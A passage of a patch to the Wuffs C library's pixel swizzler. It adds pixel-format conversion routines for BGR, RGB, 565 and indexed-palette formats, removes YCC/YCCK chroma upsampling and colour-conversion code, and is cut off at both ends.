++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-static inline uint32_t // +-wuffs_base__u32__max_of_4(uint32_t a, uint32_t b, uint32_t c, uint32_t d) { +- return wuffs_base__u32__max( // +- wuffs_base__u32__max(a, b), // +- wuffs_base__u32__max(c, d)); +-} ++ s += 1 * 3; ++ d += 1 * 4; ++ n -= 1; ++ } + +-static inline uint32_t // +-wuffs_base__u32__min_of_5(uint32_t a, +- uint32_t b, +- uint32_t c, +- uint32_t d, +- uint32_t e) { +- return wuffs_base__u32__min( // +- wuffs_base__u32__min( // +- wuffs_base__u32__min(a, b), // +- wuffs_base__u32__min(c, d)), // +- e); ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgbx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func)( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3); ++ // TODO: unroll. + +-static void // +-wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3) { +- for (; x < x_end; x++) { +- // It's called CMYK but, but for Adobe CMYK JPEG images in practice, it's +- // RGBW: 0xFFu means no ink instead of full ink. Note that a double +- // inversion is a no-op, so inversions might be implicit in the code below. +- uint32_t r = ((uint32_t)(*up0++)); +- uint32_t g = ((uint32_t)(*up1++)); +- uint32_t b = ((uint32_t)(*up2++)); +- uint32_t w = ((uint32_t)(*up3++)); +- r = ((r * w) + 0x7Fu) / 0xFFu; +- g = ((g * w) + 0x7Fu) / 0xFFu; +- b = ((b * w) + 0x7Fu) / 0xFFu; +- wuffs_base__pixel_buffer__set_color_u32_at( +- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); +- } +-} ++ while (n >= 1) { ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; ++ d[3] = 0xFF; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2, +- const uint8_t* up3) { +- for (; x < x_end; x++) { +- // We invert once again: 0xFFu means no ink instead of full ink. +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- uint32_t r = 0xFFu - (0xFFu & (color >> 16u)); +- uint32_t g = 0xFFu - (0xFFu & (color >> 8u)); +- uint32_t b = 0xFFu - (0xFFu & (color >> 0u)); +- uint32_t w = ((uint32_t)(*up3++)); +- r = ((r * w) + 0x7Fu) / 0xFFu; +- g = ((g * w) + 0x7Fu) / 0xFFu; +- b = ((b * w) + 0x7Fu) / 0xFFu; +- wuffs_base__pixel_buffer__set_color_u32_at( +- dst, x, y, 0xFF000000u | (r << 16u) | (g << 8u) | (b << 0u)); ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } ++ ++ return len; + } + + // -------- + +-typedef void (*wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func)( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2); ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- for (; x < x_end; x++) { +- uint32_t color = 0xFF000000u | // +- (((uint32_t)(*up0++)) << 16u) | // +- (((uint32_t)(*up1++)) << 8u) | // +- (((uint32_t)(*up2++)) << 0u); +- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); +- } +-} ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = 0xFF; ++ d[7] = 0xFF; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- wuffs_base__pixel_buffer__set_color_u32_at(dst, x, y, color); ++ s += 1 * 3; ++ d += 1 * 8; ++ n -= 1; + } +-} +- +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); + +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32( // +- *up0++, *up1++, *up2++); +- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); +- dst_iter += 4u; +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- for (; x < x_end; x++) { +- uint32_t color = // +- wuffs_base__color_ycc__as__color_u32_abgr( // +- *up0++, *up1++, *up2++); +- wuffs_base__poke_u32le__no_bounds_check(dst_iter, color); +- dst_iter += 4u; ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; + } ++ ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upsamples to a +-// destination slice at least 480 (YCCK) or 672 (YCC) bytes long and whose +-// src_len (multiplied by 1, 2, 3 or 4) is positive but no more than that. This +-// 480 or 672 length is just under 1/4 or 1/3 of the scratch_buffer_2k slice +-// length. Both (480 * 4) = 1920 and (672 * 3) = 2016 are less than 2048. +-// +-// 480 and 672 are nice round numbers because a JPEG MCU is 1, 2, 3 or 4 blocks +-// wide and each block is 8 pixels wide. We have: +-// 480 = 1 * 8 * 60, 672 = 1 * 8 * 84 +-// 480 = 2 * 8 * 30, 672 = 2 * 8 * 42 +-// 480 = 3 * 8 * 20, 672 = 3 * 8 * 28 +-// 480 = 4 * 8 * 15, 672 = 4 * 8 * 21 +-// +-// Box filters are equivalent to nearest neighbor upsampling. These ignore the +-// src_ptr_minor, h1v2_bias, first_column and last_column arguments. +-// +-// Triangle filters use a 3:1 ratio (in 1 dimension), or 9:3:3:1 (in 2 +-// dimensions), which is higher quality (less blocky) but also higher +-// computational effort. +-// +-// In theory, we could use triangle filters for any (inv_h, inv_v) combination. +-// In practice, matching libjpeg-turbo, we only implement it for the common +-// chroma subsampling ratios (YCC420, YCC422 or YCC440), corresponding to an +-// (inv_h, inv_v) pair of (2, 2), (2, 1) or (1, 2). +-typedef const uint8_t* ( +- *wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func)( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, // Nearest row. +- const uint8_t* src_ptr_minor, // Adjacent row, alternating above or below. +- size_t src_len, +- uint32_t h1v2_bias, +- bool first_column, +- bool last_column); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = 0xFF; ++ d[7] = 0xFF; + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- return src_ptr_major; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw_4x16le__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s2; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s0; ++ d[5] = s0; ++ d[6] = 0xFF; ++ d[7] = 0xFF; ++ ++ s += 1 * 3; ++ d += 1 * 8; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; ++// -------- ++ ++static uint64_t // ++wuffs_private_impl__swizzle_rgb__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ // TODO: unroll. ++ ++ while (n >= 1) { ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box( ++// -------- ++ ++static uint64_t // ++wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src( + uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor_ignored, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column_ignored, +- bool last_column_ignored) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; +- while (src_len--) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; +- *dp++ = sv; ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return dst_ptr; ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle( ++static uint64_t // ++wuffs_private_impl__swizzle_rgba_nonpremul__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; +- while (src_len--) { +- *dp++ = (uint8_t)(((3u * ((uint32_t)(*sp_major++))) + // +- (1u * ((uint32_t)(*sp_minor++))) + // +- h1v2_bias) >> +- 2u); ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_private_impl__swap_u64_argb_abgr( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, ++ s0))); ++ ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } +- return dst_ptr; ++ ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp = src_ptr_major; ++// -------- + +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = sv; +- return dst_ptr; +- } +- uint32_t svp1 = sp[+1]; +- uint8_t sv = *sp++; +- *dp++ = sv; +- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svp1 + 2u) >> 2u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } ++static uint64_t // ++wuffs_private_impl__swizzle_rgbw__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if (last_column) { +- src_len--; +- } ++ // TODO: unroll. + +- for (; src_len > 0u; src_len--) { +- uint32_t svm1 = sp[-1]; +- uint32_t svp1 = sp[+1]; +- uint32_t sv3 = 3u * (uint32_t)(*sp++); +- *dp++ = (uint8_t)((sv3 + svm1 + 1u) >> 2u); +- *dp++ = (uint8_t)((sv3 + svp1 + 2u) >> 2u); +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); + +- if (last_column) { +- uint32_t svm1 = sp[-1]; +- uint8_t sv = *sp++; +- *dp++ = (uint8_t)(((3u * (uint32_t)sv) + svm1 + 1u) >> 2u); +- *dp++ = sv; ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } + +- return dst_ptr; ++ return len; + } + +-static const uint8_t* // +-wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle( +- uint8_t* dst_ptr, +- const uint8_t* src_ptr_major, +- const uint8_t* src_ptr_minor, +- size_t src_len, +- uint32_t h1v2_bias_ignored, +- bool first_column, +- bool last_column) { +- uint8_t* dp = dst_ptr; +- const uint8_t* sp_major = src_ptr_major; +- const uint8_t* sp_minor = src_ptr_minor; ++// -------- + +- if (first_column) { +- src_len--; +- if ((src_len <= 0u) && last_column) { +- uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // +- (4u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + 7u) >> 4u); +- return dst_ptr; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. +- uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; ++ const size_t loop_unroll_count = 4; + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); +- if (src_len <= 0u) { +- return dst_ptr; +- } +- } ++ // The comparison in the while condition is ">", not ">=", because with ++ // ">=", the last 4-byte store could write past the end of the dst slice. ++ // ++ // Each 4-byte store writes one too many bytes, but a subsequent store ++ // will overwrite that with the correct byte. There is always another ++ // store, whether a 4-byte store in this loop or a 1-byte store in the ++ // next loop. ++ while (n > loop_unroll_count) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); + +- if (last_column) { +- src_len--; ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 3; ++ n -= loop_unroll_count; + } + +- for (; src_len > 0u; src_len--) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+1]; +- uint32_t sv_minor_p1 = sp_minor[+1]; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } + +- if (last_column) { +- uint32_t sv_major_m1 = sp_major[-1]; +- uint32_t sv_minor_m1 = sp_minor[-1]; +- uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. +- uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. ++ return len; ++} + +- uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // +- (3u * ((uint32_t)(*sp_minor++))); +- *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); +- *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- return dst_ptr; +-} ++ // TODO: unroll. + +-// wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs is indexed by inv_h +-// and then inv_v. +-static const wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs[4][4] = { +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- }, +-}; ++ while (n >= 1) { ++ uint32_t d0 = ++ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +-static inline uint32_t // +-wuffs_base__pixel_swizzler__has_triangle_upsampler(uint32_t inv_h, +- uint32_t inv_v) { +- if (inv_h == 1u) { +- return inv_v == 2u; +- } else if (inv_h == 2u) { +- return (inv_v == 1u) || (inv_v == 2u); ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } +- return false; ++ ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// All of the wuffs_base__pixel_swizzler__swizzle_ycc__etc functions have +-// preconditions. See all of the checks made in +-// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For +-// example, (width > 0) is a precondition, but there are many more. ++ const size_t loop_unroll_count = 4; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t y, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- const uint8_t* src_ptr3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_h3, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t inv_v3, +- uint32_t half_width_for_2to1, +- uint32_t h1v2_bias, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3, +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { +- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- uint32_t total_src_len3 = 0u; +- +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 480u; +- if (end > width) { +- end = width; ++ while (n >= loop_unroll_count) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ } ++ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + 